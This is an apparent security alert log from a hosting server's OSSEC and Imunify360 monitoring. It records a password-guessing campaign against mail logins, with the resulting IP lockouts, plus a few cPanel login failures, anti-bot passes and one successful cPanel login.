2026-06-22 17:23:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:47548: 535 Incorrect authentication data (set_id=shannon)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:24:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:52406: 535 Incorrect authentication data (set_id=nanette)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.214.117.56
country_id: 6252001
description:
34.214.117.56 - - [22/Jun/2026:17:25:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7103084&pdata=https%253A%252F%252Flacs1.mairie.tg%253A2083%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782149101 HTTP/2.0" 302 0 lacs1.mairie.tg "https://lacs1.mairie.tg:2083/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.214.117.56


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.214.117.56
country_id: 6252001
description:
[2026-06-22 17:25:10 +0000] info [cpaneld] 34.214.117.56 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:24:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:24:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:24:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:25:02 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:24:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19542: 535 Incorrect authentication data (set_id=staff2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:24:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:38320: 535 Incorrect authentication data (set_id=shoes)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:24:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:24:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:8770: 535 Incorrect authentication data (set_id=nathaniel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:24:52 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 17:25:08 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52496: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:24:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:64524: 535 Incorrect authentication data (set_id=essie)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:24:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37856: 535 Incorrect authentication data (set_id=arzt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:25:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:25:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:25:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64156: 535 Incorrect authentication data (set_id=alone)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:25:48 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:25:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:25:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:47966: 535 Incorrect authentication data (set_id=done)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:25:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:6508: 535 Incorrect authentication data (set_id=benefits)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:25:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49126: 535 Incorrect authentication data (set_id=smsgateway)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 17:25:42 +0000] info [cpaneld] 103.65.237.57 - kidsedunetmaster "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kidsedunetmaster (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:25:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:57876: 535 Incorrect authentication data (set_id=avp)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.18.15.11
country_id: 1168579
description:
103.18.15.11 - - [22/Jun/2026:17:26:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158293&pdata=https%253A%252F%252Fcfpj.tg%252Fcnrw-3907vetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782149159 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/cnrw-3907vetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.18.15.11


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:25:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:25:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:13780: 535 Incorrect authentication data (set_id=tim1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:25:47 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:26:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36394: 535 Incorrect authentication data (set_id=avp)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:26:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:26:31 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:26:59 +0000] info [cpaneld] 141.95.93.31 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:26:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63994: 535 Incorrect authentication data (set_id=kissa)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:26:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:26:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:26:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:46492: 535 Incorrect authentication data (set_id=notarial)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:26:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:15710: 535 Incorrect authentication data (set_id=intrepid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:26:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:2180: 535 Incorrect authentication data (set_id=antony)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:26:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33526: 535 Incorrect authentication data (set_id=sudakov)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:26:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57930: 535 Incorrect authentication data (set_id=x5)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:26:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:26:34 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:27:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22168: 535 Incorrect authentication data (set_id=woofti)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:27:45 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:27:47 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:6100: 535 Incorrect authentication data (set_id=stainless)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:27:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:27:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:27:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:27:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:62922: 535 Incorrect authentication data (set_id=alexandre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:27:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:27:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:56126: 535 Incorrect authentication data (set_id=xadmin)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.168.148.116
country_id: 2363686
description:
[2026-06-22 17:27:54 +0000] info [cpaneld] 196.168.148.116 NEW neyxglgq:1BbE7OPEzVFVBiYs address=196.168.148.116,app=cpaneld,creator=neyxglgq,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:27:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:4954: 535 Incorrect authentication data (set_id=inter)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:27:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:27:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40812: 535 Incorrect authentication data (set_id=virtual)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:28:58 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:28:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30062: 535 Incorrect authentication data (set_id=alle)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:28:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:28:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16378: 535 Incorrect authentication data (set_id=usuario2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:28:52 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:28:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56374: 535 Incorrect authentication data (set_id=liang)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:29:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37746: 535 Incorrect authentication data (set_id=klimas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:28:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.66.154.32
country_id: 6252001
description:
[2026-06-22 17:28:58 +0000] info [cpaneld] 73.66.154.32 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.136.107.103
country_id: 1210997
description:
103.136.107.103 - - [22/Jun/2026:17:29:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6343060&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F05%252F04%252Fno-wagering-online-casino-benefit-a-guide-to-unlocking-real-payout%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782149342 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/05/04/no-wagering-online-casino-benefit-a-guide-to-unlocking-real-payout/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.136.107.103


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:28:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:28:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27724: 535 Incorrect authentication data (set_id=quan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:28:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:28122: 535 Incorrect authentication data (set_id=corvair)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:29:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:26236: 535 Incorrect authentication data (set_id=monitoring)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:28:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:29:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:29:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:31906: 535 Incorrect authentication data (set_id=monitoring)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:29:47 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.249
country_id: 6252001
description:
Jun 22 17:30:12 ns5 pure-ftpd[2632522]: (?@205.210.31.249) [INFO] New connection from 205.210.31.249


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:29:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4060: 535 Incorrect authentication data (set_id=ilyas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:29:37 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:29:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:31272: 535 Incorrect authentication data (set_id=c00per)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:29:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:29:42 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:29:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25062: 535 Incorrect authentication data (set_id=sohail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:29:46 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:29:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:49526: 535 Incorrect authentication data (set_id=sklee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:29:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:65142: 535 Incorrect authentication data (set_id=justine)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:30:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:30:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-22 17:30:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:40742: 535 Incorrect authentication data (set_id=date1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:30:29 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:30:32 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:30:39 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:30:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21656: 535 Incorrect authentication data (set_id=suporte)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.8
country_id: 798544
description:
Jun 22 17:31:20 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:30:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:6286: 535 Incorrect authentication data (set_id=oracle)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:30:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32644: 535 Incorrect authentication data (set_id=tatoo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:30:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:7848: 535 Incorrect authentication data (set_id=dongle)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:30:33 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:30:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:24920: 535 Incorrect authentication data (set_id=cheddy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-22 17:31:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:61218: 535 Incorrect authentication data (set_id=lasvegas)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-22 17:31:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37810: 535 Incorrect authentication data (set_id=globe)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 22 17:31:58 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:31:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:2304: 535 Incorrect authentication data (set_id=phone)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 22 17:31:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 22 17:31:30 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:31:36 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:31:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:48156: 535 Incorrect authentication data (set_id=poor)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.8
country_id: 798544
description:
Jun 22 17:31:27 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 22 17:31:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-22 17:31:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64912: 535 Incorrect authentication data (set_id=oriental)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
